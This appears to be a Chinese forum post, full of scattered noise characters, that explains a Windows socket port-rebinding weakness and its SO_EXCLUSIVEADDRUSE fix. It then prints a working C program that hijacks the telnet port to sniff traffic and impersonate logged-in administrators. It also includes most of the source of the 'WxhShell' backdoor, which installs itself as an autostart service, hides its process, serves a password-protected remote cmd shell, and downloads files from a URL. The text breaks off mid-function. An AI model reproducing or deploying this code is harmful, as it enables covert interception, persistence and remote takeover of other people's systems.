在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
M+0x;53nz s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
Wm(:P G.Tpl-m saddr.sin_family = AF_INET;
n'yl)HA~>` #7o0dE;Kg9 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
*<r%aeG$em |CwG3&8 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
YZ<
NP 7aQn; 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
6GzzGP^ :9`qogF> 这意味着什么?意味着可以进行如下的攻击:
4`s)ue Ir/:d]N* 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
\#++s&06 &U&Zo@ot"x 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
(xL
:; *Rq`*D>:U} 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
+#~O'r]%GG dMJ!>l>2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
jB!W2~Z Y''6NGf 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
a%E8(ms37y OF8WDo` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
12lEs3 "R23Pi 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
i
j/o;_ Aq"PG}Ic #include
3za`>bUN #include
j7}lF?cJ2 #include
MKC$;>i #include
V\AK6U@r^ DWORD WINAPI ClientThread(LPVOID lpParam);
Y%g "Y int main()
V9T
4+ {
aM$=|%9/ WORD wVersionRequested;
K_>/lirE? DWORD ret;
y@A6$[%(E| WSADATA wsaData;
Ff<)4`J BOOL val;
B'p5M.6d#: SOCKADDR_IN saddr;
4\ FP SOCKADDR_IN scaddr;
|'<vrn int err;
-L8YJ8J6 SOCKET s;
?L\z}0# SOCKET sc;
Vv7PCaq int caddsize;
Xhse~=qA HANDLE mt;
P>wZ~Hjk DWORD tid;
({e7U17[# wVersionRequested = MAKEWORD( 2, 2 );
2:'lZQ err = WSAStartup( wVersionRequested, &wsaData );
1~@|eWr| if ( err != 0 ) {
)~}PgbZ^ printf("error!WSAStartup failed!\n");
+9zA^0 return -1;
nLJBq)i }
~C|,b" saddr.sin_family = AF_INET;
p+[}Hxx= u s`} //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
U
Du~2% HN68!v}C| saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
cy3M^_5B< saddr.sin_port = htons(23);
iNJAZ6@+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hgO?+x {
\Yq0 zVol printf("error!socket failed!\n");
"0-y*1/m return -1;
lR@& Z6lw }
B+46.bIH val = TRUE;
!
=WcF5 //SO_REUSEADDR选项就是可以实现端口重绑定的
h<Wg 3o if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
,QvYTJ{ {
F7T E|LZ printf("error!setsockopt failed!\n");
TatMf;?h& return -1;
~<,Sh~Ana. }
H&bh<KPMh //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
7/"@yVBW //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
yp+F<5o //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
P}@*Z>j:# a#y{pT2 b if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
=dGKF`tR {
s}(X]Gx1 ret=GetLastError();
e+@xsn3 printf("error!bind failed!\n");
QNArZ6UQ return -1;
:l"dYfl }
M&yqfb[ listen(s,2);
J=*K"8Qr while(1)
]"sRS`0+
{
v[&'k\ caddsize = sizeof(scaddr);
Wc|z7P~',% //接受连接请求
^|?1_r sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
?3jdg ]& if(sc!=INVALID_SOCKET)
rzu
s {
G),db%,X2 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Yy
h=G if(mt==NULL)
Hk u=pr3Gn {
4RQ5(YTTuR printf("Thread Creat Failed!\n");
/{X_
.fv<v break;
]:et~pfW }
cZi[(K }
31}W6l88c CloseHandle(mt);
9j#@p }
A[H;WKn0 closesocket(s);
C9jbv/c WSACleanup();
0H[L S return 0;
V]c5
Z$Bd }
}V]eg,.BJ DWORD WINAPI ClientThread(LPVOID lpParam)
R1'`F{56 {
?N>pZR SOCKET ss = (SOCKET)lpParam;
e{C6by"j{S SOCKET sc;
F=}Z51|:~ unsigned char buf[4096];
^>m^\MuZ SOCKADDR_IN saddr;
V;93).-$ long num;
r)b<{u=] DWORD val;
{?i)K X^ DWORD ret;
D{C:d\ e)$ //如果是隐藏端口应用的话,可以在此处加一些判断
J^ ={} //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
ce' TYkPM saddr.sin_family = AF_INET;
0JXqhc9' saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
TpP8=8_Lh saddr.sin_port = htons(23);
<AUWby," if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
9=$!gC) {
bk3Unreh printf("error!socket failed!\n");
)N7n,_#T> return -1;
'msmXX@q }
>IY,be6>P val = 100;
5AOfp2O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2OalAY6RS {
J#7y<
s ret = GetLastError();
>Z\BfH return -1;
]a/'6GbR }
/2@["*^$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
4;*f1_;f~ {
F_ljx ret = GetLastError();
%MJ;Q?KB return -1;
mP-2s;q }
XnXb&@Y if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
!Iq{ 5: {
Wsm`YLYkt! printf("error!socket connect failed!\n");
bGv4.:) closesocket(sc);
p4>,Fwy2 closesocket(ss);
CLN+I'uX0 return -1;
%S#WPD'Y }
Hr
}k5' while(1)
ow.6!tl0=h {
5 =Z!hQ} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
Uix{" //如果是嗅探内容的话,可以再此处进行内容分析和记录
tt4+ m>/T //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
#D)x}#V\ num = recv(ss,buf,4096,0);
}.{}A(^YR if(num>0)
iV
hJH4 send(sc,buf,num,0);
.Z%G@X* else if(num==0)
o6|-=FcvC break;
0H:dv:#WAI num = recv(sc,buf,4096,0);
HXks_ix ) if(num>0)
R]QpMj%o send(ss,buf,num,0);
[rdsv else if(num==0)
',mW`ZN break;
_N'75 }
)|]Z>>%t closesocket(ss);
)+Y&4Qu closesocket(sc);
(ZPXdr return 0 ;
7ZFJexN] }
o4)hxs F~_;o+e;X &KqVN]1+^ ==========================================================
zk=\lp2 e|'N(D}h* 下边附上一个代码,,WXhSHELL
!T'X
'Q nq;#_Rkr ==========================================================
7Dt"]o"+ wUp)JI #include "stdafx.h"
P*G+eqX *gu8-7' #include <stdio.h>
RJc%,
]: #include <string.h>
X+ f9q0 #include <windows.h>
rsF:4G"% #include <winsock2.h>
JBcY!dy-d #include <winsvc.h>
dZ2`{@AYY #include <urlmon.h>
Eark) gyus8#s T #pragma comment (lib, "Ws2_32.lib")
fp&Got!pB #pragma comment (lib, "urlmon.lib")
h~miP7,c<u $TG?4 #define MAX_USER 100 // 最大客户端连接数
'sU)|W(3U #define BUF_SOCK 200 // sock buffer
n33kb/q* #define KEY_BUFF 255 // 输入 buffer
U9ZbVjqv@ a8s4T$ #define REBOOT 0 // 重启
=!<G!^ #define SHUTDOWN 1 // 关机
mG(N:n%*K nGa1a #define DEF_PORT 5000 // 监听端口
T1NH eH> v>-YuS #define REG_LEN 16 // 注册表键长度
1d v=xe. #define SVC_LEN 80 // NT服务名长度
')o0O9/; xP@/9SM // 从dll定义API
r
nBOj#N typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
>XE`h9 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,w`~K:b. typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
yJD>ny typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
y1,5$0@G f7+Cz>R // wxhshell配置信息
r!K|E95oj9 struct WSCFG {
&!1}`4$[T int ws_port; // 监听端口
;KcFy@ 6q5 char ws_passstr[REG_LEN]; // 口令
?`P2'i<b int ws_autoins; // 安装标记, 1=yes 0=no
#T%zfcUj char ws_regname[REG_LEN]; // 注册表键名
,sDr9h/'C3 char ws_svcname[REG_LEN]; // 服务名
xzk}[3P{ char ws_svcdisp[SVC_LEN]; // 服务显示名
z="L4 char ws_svcdesc[SVC_LEN]; // 服务描述信息
$D_HZ"ytu char ws_passmsg[SVC_LEN]; // 密码输入提示信息
JR1*|u int ws_downexe; // 下载执行标记, 1=yes 0=no
H/jm
f5 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
l{%a&/ char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Y';>O ` !_^g8^>2( };
Y4To@TrN#\ +,_c/(P // default Wxhshell configuration
Z .Pi0c+ struct WSCFG wscfg={DEF_PORT,
V0NVGRQ "xuhuanlingzhe",
Lt>7hBe" 1,
fNoR\5}! "Wxhshell",
fIyPFqf7w) "Wxhshell",
7/>a:02 "WxhShell Service",
Sdc*rpH"( "Wrsky Windows CmdShell Service",
Yx1 D) "Please Input Your Password: ",
`-O=>U5nH 1,
2R`u[ "
http://www.wrsky.com/wxhshell.exe",
?,% TU&Yn "Wxhshell.exe"
zilaP)5x6 };
4}-#mBV]/ ']?=[`#NL // 消息定义模块
Y6VQ:glDT- char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
J
Jy{@[m char *msg_ws_prompt="\n\r? for help\n\r#>";
C EqZ:c char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
r~oSP^e' char *msg_ws_ext="\n\rExit.";
ct0v$ct>f char *msg_ws_end="\n\rQuit.";
}1m_o@{3P char *msg_ws_boot="\n\rReboot...";
"{(
[! char *msg_ws_poff="\n\rShutdown...";
xNgt[fLpS char *msg_ws_down="\n\rSave to ";
n`<U"$* (,LL[&;: char *msg_ws_err="\n\rErr!";
Y:pRcO.4g char *msg_ws_ok="\n\rOK!";
:_H>SR: Jsn <,4DO8 char ExeFile[MAX_PATH];
]kS7n@8 int nUser = 0;
RWikJ HANDLE handles[MAX_USER];
`d*b]2 int OsIsNt;
.B$h2#i1 c]v
+ SERVICE_STATUS serviceStatus;
Taasi`
k SERVICE_STATUS_HANDLE hServiceStatusHandle;
Mi74Xl i QymD-A"P // 函数声明
M=%!IT int Install(void);
0j$OE int Uninstall(void);
^saM$e^c: int DownloadFile(char *sURL, SOCKET wsh);
8]C1K
Zs int Boot(int flag);
7) 0q--B void HideProc(void);
2U%qCfh6| int GetOsVer(void);
b1=pO]3u int Wxhshell(SOCKET wsl);
S=O$JP79 void TalkWithClient(void *cs);
@L;C_GEa int CmdShell(SOCKET sock);
XS|mKuMcC int StartFromService(void);
Jpx'W int StartWxhshell(LPSTR lpCmdLine);
f)^t') "Ot{^_e VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
M(5D'4. VOID WINAPI NTServiceHandler( DWORD fdwControl );
/{we;Ut=g /*P7<5n0 // 数据结构和表定义
-f.R#J$2 SERVICE_TABLE_ENTRY DispatchTable[] =
mV zu~xym {
@?/\c:cp {wscfg.ws_svcname, NTServiceMain},
O+FBQiv {NULL, NULL}
!!+Da> };
t/ eo] PYieD}' // 自我安装
+*a7GttU int Install(void)
IJIQ"
s {
S'@=3) char svExeFile[MAX_PATH];
q^6N+ ^}QN HKEY key;
PP-kz;| strcpy(svExeFile,ExeFile);
xt))]aH +H}e)1^I // 如果是win9x系统,修改注册表设为自启动
D3.VXuKn6 if(!OsIsNt) {
V}:'Xgp*N if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;+/NjC1 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
1;`Fe":;vC RegCloseKey(key);
CJA+v- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
KZ3B~#oQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
F[`vH RegCloseKey(key);
W.$6pzB( return 0;
ee<H@LeG }
J@<!q }
G>0)I }
f".q9{+p, else {
{F!v+W> u _X}-U // 如果是NT以上系统,安装为系统服务
^j iE9k) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
8t\}c6/3" if (schSCManager!=0)
Ky6+~> {
6eo4#/+% SC_HANDLE schService = CreateService
H:Lt$ (
;^ov~PPl schSCManager,
>13/h]3 wscfg.ws_svcname,
l0#4Fma wscfg.ws_svcdisp,
$WClpvVj SERVICE_ALL_ACCESS,
* gHCy4u{ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
MCHOK=G SERVICE_AUTO_START,
4cB&Hk SERVICE_ERROR_NORMAL,
*;X-\6 svExeFile,
`sxN!Jj? NULL,
pz @km NULL,
1M/$<
kQ-N NULL,
6KB^w0oA NULL,
[Q:f-<nH NULL
to51hjV );
u
GIr&`S if (schService!=0)
ol#yjrv {
4Pf+]R CloseServiceHandle(schService);
"ZqEP R) CloseServiceHandle(schSCManager);
ZM
8U]0[X strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
BPiiexTV9 strcat(svExeFile,wscfg.ws_svcname);
E[*0Bo] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
7vq
DZg RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
Dt|fDw$]D RegCloseKey(key);
19&)Yd1 return 0;
%yKKUZ~ }
_'lmCj8L }
<
GU CloseServiceHandle(schSCManager);
Of&"U/^ }
?V?<E=13 }
[%?hCc sL8>GtVo return 1;
GVZTDrC }
vlAy!:CV UeNF^6sWu0 // 自我卸载
L5&K}F]r^ int Uninstall(void)
S2bexbp0o {
:fW.-^"VP HKEY key;
[tz
u;/ u]SZ{[e if(!OsIsNt) {
,0,Oe=d if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
?#i|>MRR> RegDeleteValue(key,wscfg.ws_regname);
jf 8w7T RegCloseKey(key);
d^y86pq. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[!Ao,rt?Vg RegDeleteValue(key,wscfg.ws_regname);
+9jivOmK RegCloseKey(key);
;da4\bppt return 0;
@Rf^P( }
tbS#^Y }
nAvs~J }
Cg7)S[zl else {
c~37+^B: 'rvE SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
w#rVSSXQ3 if (schSCManager!=0)
I[%M!_+ {
ILNXaJ'0a SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
5E0w n' if (schService!=0)
)Z&HuEg{ZR {
'?b\F~$8 if(DeleteService(schService)!=0) {
<a fO 6?` CloseServiceHandle(schService);
~7dF/Nn5 CloseServiceHandle(schSCManager);
oHk27U G return 0;
[)0
R'xL6 }
y%FYXwR{ CloseServiceHandle(schService);
gz#+ }
sX
Z4U0# CloseServiceHandle(schSCManager);
0yKhp:^ }
,k\/]9 }
t)KPp|& ,,7.=# return 1;
l*qk1H"g }
w~p4S+k& sc9]sIb // 从指定url下载文件
yj'Cy8 int DownloadFile(char *sURL, SOCKET wsh)
`LqnEutzc {
\Me"'.F? HRESULT hr;
eA1'qww"' char seps[]= "/";
q{[1fE"[K4 char *token;
wzg i
@i char *file;
K` 2i char myURL[MAX_PATH];
ps"9;4P char myFILE[MAX_PATH];
Vl-D<M+ih ;tm3B2 strcpy(myURL,sURL);
zWJKYF qK token=strtok(myURL,seps);
Ls(&HOK[p while(token!=NULL)
JOPTc] {
!#C)99L"F file=token;
o16d`}/< token=strtok(NULL,seps);
yX`J7O{= }
eXc[3ceUr 5R)[Ou. GetCurrentDirectory(MAX_PATH,myFILE);
RZ<.\N
(M strcat(myFILE, "\\");
":nI_~q strcat(myFILE, file);
=?^-P{:\? send(wsh,myFILE,strlen(myFILE),0);
MV9r5 |3- send(wsh,"...",3,0);
Kjv2J;Xuh hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
[@x if(hr==S_OK)
t&38@p return 0;
$4sAnu] else
80 dSQ"y return 1;
tD865gi =%xIjxYl }
O0->sR wQ@Zwbx // 系统电源模块
&:-GI)[o int Boot(int flag)
C"(_mW{@ {
I.UjST HANDLE hToken;
C"k2<IE TOKEN_PRIVILEGES tkp;
~0av3G
8 qn{ if(OsIsNt) {
g~eJ
YS, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
%s]U@Ku(a LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
dP?nP(l tkp.PrivilegeCount = 1;
*q+oeAYX tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
Ct-rD79l AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
N!]PIWnC if(flag==REBOOT) {
,nI_8r"M> if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
\A` gK\/h return 0;
$3lt{ % }
t$tsWAmiA[ else {
'
l|41wxk if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
dvC0 <*V return 0;
ex{)mE4Cd }
Fka1]|j9 }
5aa}FdUq else {
K3j_C`Se if(flag==REBOOT) {
A{G5Plrh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
&~z+ R="= return 0;
)j]gm i" }
V|+ `L- else {
F|DR if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
<Sz>ZIISd return 0;
)r-T= }
8}Fw%;Cb }
zuK/(qZ z]'|nX return 1;
-$'~;O3s }
3csm`JVK M-{b // win9x进程隐藏模块
+ZY2a7uI void HideProc(void)
b5lk0 jA {
&8pCHGmV) (7M^-_q]D HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
0*/mc9 6 if ( hKernel != NULL )
=ZxW8DK {
+8L(pMI4 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
NEjPU#@c ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:(5]Z^ FreeLibrary(hKernel);
er&uC4Y]a }
:!r9 =N9 %@M00~- return;
AGw1Pl8]K }
EGp~Vo- WZfk}To1# // 获取操作系统版本
}|w=7^1z int GetOsVer(void)
p~,a= {
|#Yu.c* OSVERSIONINFO winfo;
eD>-`'7< winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
} S'I
DHla GetVersionEx(&winfo);
Km|9Too if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
6n2Vx1b return 1;
_C7abw- else
n's2/9x return 0;
x@{G(W:W }
.6lY*LI Y&ct+w]% // 客户端句柄模块
ujI 3tsl int Wxhshell(SOCKET wsl)
u5[1Z|O {
?^+#pcX]t| SOCKET wsh;
/\IAr,w[ struct sockaddr_in client;
x!Z:K5%O DWORD myID;
F{a0X0ru~ S!`4Bl while(nUser<MAX_USER)
@d8&3@{R^ {
:F!dTD$ int nSize=sizeof(client);
EM>c%BH<N wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
eONeWY9 if(wsh==INVALID_SOCKET) return 1;
.y/NudD rCnV5Yb0O handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
=)"NE> if(handles[nUser]==0)
|TQedC closesocket(wsh);
3&drof\{ else
g]EQ2g_N1 nUser++;
6xDl=*&% }
EOd.Tyb!/ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
*IMF4x5M >oM9~7f return 0;
=]5DYRhX] }
y]~+ `9 ZNL;8sI?> // 关闭 socket
.N-'; %8 void CloseIt(SOCKET wsh)
qd#(`%_/ {
($[r>)TG closesocket(wsh);
AAlmG9l&7 nUser--;
)7Ho n ExitThread(0);
"NXm\`8 }
[9YlLL@ E :' // 客户端请求句柄
dy8In% void TalkWithClient(void *cs)
,q'gG`M
N {
eMpEFY g%fJyk' SOCKET wsh=(SOCKET)cs;
*pS7/Qe char pwd[SVC_LEN];
q N[\J7Pz9 char cmd[KEY_BUFF];
zd6Qw-D7x char chr[1];
"tg\yem int i,j;
PpJE|[] $BR=IYby while (nUser < MAX_USER) {
%%-U. R%]9y]HQ if(wscfg.ws_passstr) {
7YQK@lS if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
5tgILxSK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
..Uw8u/ //ZeroMemory(pwd,KEY_BUFF);
2]_4&mU i=0;
pjmGzK while(i<SVC_LEN) {
}LHT#{+x &bS"N)je // 设置超时
@gu77^=' fd_set FdRead;
}jyS\drJ struct timeval TimeOut;
xsY>{/C FD_ZERO(&FdRead);
0$F _hZU FD_SET(wsh,&FdRead);
=Nv=Q mO TimeOut.tv_sec=8;
`DWi4y7 TimeOut.tv_usec=0;
>zfZw"mEP int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
xi1N?
pP if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
]`/R("l[ 'WM~
bm+N if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
Z@c0(ol pwd
=chr[0]; {g:/BFLr#
if(chr[0]==0xd || chr[0]==0xa) { K,L>
pwd=0; !e#I4,f n
break; mKf>6/s{c
} jV|$?
Rcl%
i++; _]?Dt%MkD
} @dT: 1s
E^EU+})Ujr
// 如果是非法用户,关闭 socket ai;gca_P#
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q _T?G e
} {Y@-*pL]
hI>rtaY_
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); B;D:9K
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hk lO:,`
nX.s h
while(1) { dx?njR
r3BDq
ZeroMemory(cmd,KEY_BUFF); ~D`oP/6
S'%cf7Z
// 自动支持客户端 telnet标准 8H%I|fm
j=0; g_Dt} !A\B
while(j<KEY_BUFF) { thZ@BrO#
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d'x<F[`O
cmd[j]=chr[0]; "e7$q&R
|
if(chr[0]==0xa || chr[0]==0xd) {
Vf,~MG
cmd[j]=0; WT ~dA95
break; (-Ct!aW|
} (61twutC
j++; K+\0}qn
} K^cWj_a"
qY~$wVY(
// 下载文件 hO<w]jV,
if(strstr(cmd,"http://")) { meM.?kk(
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +v[$lh+
if(DownloadFile(cmd,wsh)) /Y\E68_Fh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eI=Y~jy
else ?C>VB+X}y
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); m^oi4mV
} n.8A
Ka6
else { T>uWf#&pjs
&"j).Ogm4
switch(cmd[0]) { G}?P
r4Gj
, C@hTOT
// 帮助 GFc
case '?': { EBL,E:_)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Z564K7IV
break; Zxxy1Fl#.[
} XdIVMXLL\
// 安装 J%O4IcE
case 'i': { 1~xn[acy
if(Install()) 1KIq$lG{ E
send(wsh,msg_ws_err,strlen(msg_ws_err),0); |>o0d~s
else 6L6~IXL>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -JQg ~1
break; }A'<?d8
} Hb AMoow!
// 卸载 MCrO]N($b
case 'r': { l^eNZ3:H
if(Uninstall()) ao";5m
send(wsh,msg_ws_err,strlen(msg_ws_err),0); O]%m{afM
else a_iQlsU
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xP/1@6]_Je
break; |`t!aG8
} C7 &
6rUX
// 显示 wxhshell 所在路径 pv?17(w(\
case 'p': { [sY1|eX
char svExeFile[MAX_PATH]; a^}P_hg}-
strcpy(svExeFile,"\n\r"); J0*]6oD!
strcat(svExeFile,ExeFile); Nec(^|[
send(wsh,svExeFile,strlen(svExeFile),0); :_YG/0%I
break; )6R#k8'ERr
} !9<RWNKV)Y
// 重启 =!P?/
case 'b': { Iv|WeSL.
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); "KI,3g _V
if(Boot(REBOOT)) 5@Lxbe(
q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0)Um W{
else { VU0tyj$
closesocket(wsh); .]ZuG
ExitThread(0); acju!,G
} Py25k 0j!
break; .gkPG'm[
} AoOG[to7
// 关机 SnF[mN'
case 'd': { _Il9s#NA%
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6 r-n6#=
if(Boot(SHUTDOWN)) 3w:Z4]J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); jUR#
else { Z2j*%/
closesocket(wsh); A"3&EuvU
ExitThread(0); _}9R}
} [QqNsco)
break; sriq(A
} nh&<fnh
// 获取shell .rB;zA;4S)
case 's': { n
ua8y(W
CmdShell(wsh); I~]mX;
closesocket(wsh); MbF e1U]B
ExitThread(0); kRXg."b(
break; ~$ qJw?r
} '>mb@m
// 退出 WKJL<
D ]:
case 'x': { }nY^T&?`
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f]A6Mx6
CloseIt(wsh); ST8/
;S#c
break; `"b7y(M
} #bZ=R
// 离开 w~KBk)!*
case 'q': { pBnf^Ew1
send(wsh,msg_ws_end,strlen(msg_ws_end),0); -GWzMBS S
closesocket(wsh); _,0!ZP-
WSACleanup(); =
hX-jP
exit(1); U+r#YE.
break; v9` B.(Ru
} =bg&CZVT
} Fx:en|g
} tKsM}+fq
SF7b1jr
// 提示信息 g2>u]3&W
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wJR i;fvi
} H1j6.i}q
} vG_v89t!ex
0t[mhmSU,
return; 2:/MN2
} z==}~|5
yxUVM`.~
// shell模块句柄 q[+:t
int CmdShell(SOCKET sock) &trh\\I"
{ -LK(C`gB
STARTUPINFO si; +Y]*>afG
ZeroMemory(&si,sizeof(si)); *`pBQZn05O
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; la{uJ9Iw@}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +siNU#!
PROCESS_INFORMATION ProcessInfo; 8Y~T$Yj^
char cmdline[]="cmd"; >upUY(3&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RkP|_Bf8)
return 0; $5CY<,f
} SVWSO
L=wFo^N
// 自身启动模式 la|l9N^,
int StartFromService(void) ?[/,*Q%
{ ];~[Olc
typedef struct (0m$W<
{ 2LH;d`H[0
DWORD ExitStatus; e.ym7L]$O
DWORD PebBaseAddress; Wy>\KrA1
